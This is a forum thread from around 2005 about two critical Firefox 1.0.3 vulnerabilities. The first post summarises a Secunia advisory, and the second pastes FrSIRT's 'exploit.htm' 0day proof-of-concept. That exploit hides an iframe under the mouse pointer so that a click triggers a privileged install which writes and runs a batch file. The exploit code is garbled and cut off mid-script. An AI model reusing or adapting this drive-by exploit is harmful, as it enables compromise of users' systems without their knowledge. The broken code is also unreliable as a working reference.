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Thread: Two New Critical Firefox Vulnerabilities

  1. #1
    Hoopy Frood
    Join Date
    Jun 2004

    Two New Critical Firefox Vulnerabilities

    Secunia.com reports:
    Two vulnerabilities have been discovered in Firefox, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a user's system.

    1) The problem is that "IFRAME" JavaScript URLs are not properly protected from being executed in context of another URL in the history list. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an arbitrary site.

    2) Input passed to the "IconURL" parameter in "InstallTrigger.install()" is not properly verified before being used. This can be exploited to execute arbitrary JavaScript code with escalated privileges via a specially crafted JavaScript URL.

    Successful exploitation requires that the site is allowed to install software (default sites are "update.mozilla.org" and "addons.mozilla.org").

    A combination of vulnerability 1 and 2 can be exploited to execute arbitrary code.

    NOTE: Exploit code is publicly available.

    The vulnerabilities have been confirmed in version 1.0.3. Other versions may also be affected.

    Disable JavaScript.
    - Xierox
    "Personality is only ripe when a man has made the truth his own."

    -- Søren Kierkegaard

  2. #2
    Junior Member
    Join Date
    May 2005
    ------------------------------------- exploit.htm -------------------------------------
    // FrSIRT Comment - This is a 0day exploit/vulnerability (unpatched)
    // If a user clicks anywhere on a specially crafted page, this code will
    // automatically create and execute a malicious batch/exe file.
    // Update (08.05.2005) - The Mozilla Foundation patched (partially) this
    // issue on the server side by adding random letters and numbers to the
    // install function, which will prevent this exploit from working.
    <html><head><title>firefox 0day exploit</title>
    <body>Click anywhere inside this page<br>
    <br>Advisory - http://www.frsirt.com/english/advisories/2005/0493<br>
    <iframe onload="loader()" src="javascript:'<noscript>'+eval('if (window.name!=\'stealcookies\')
    {window.name=\'stealcookies\';} else{ event={target:{href:\'http://ftp.mozilla.org/pub/
    mozilla.org/extensions/flashgot/flashgot-\'}};install(event,\'You are 
    |0x20,420,0);output=\\\\\\\'@ECHO off\\\\\\\\ncls\\\\\\\\nECHO malicious commands here...
    \\\')\'); }')+'</noscript><a href=\'https://addons.update.mozilla.org/extensions/moreinfo.php?
    id=220&application=firefox\' style=\'cursor:default;\'></'+'a>'" 
    id="targetframe" scrolling="no" frameborder="0" marginwidth="0" marginheight=0" style=
    "position:absolute; left:0px; width:0px; height:6px; width:6px; margin:0px; padding:0px; 
    <script language="JavaScript" type="text/javascript">
    document.onmousemove = function trackMouse(e) {
    document.getElementById("targetframe").style.left = (e.pageX-3)+"px"
    document.getElementById("targetframe").style.top = (e.pageY-3)+"px"
    var counter = 0; 
    function loader() {
    if(counter == 1) {
    } else if(counter == 2) {
    From FrSIRT.

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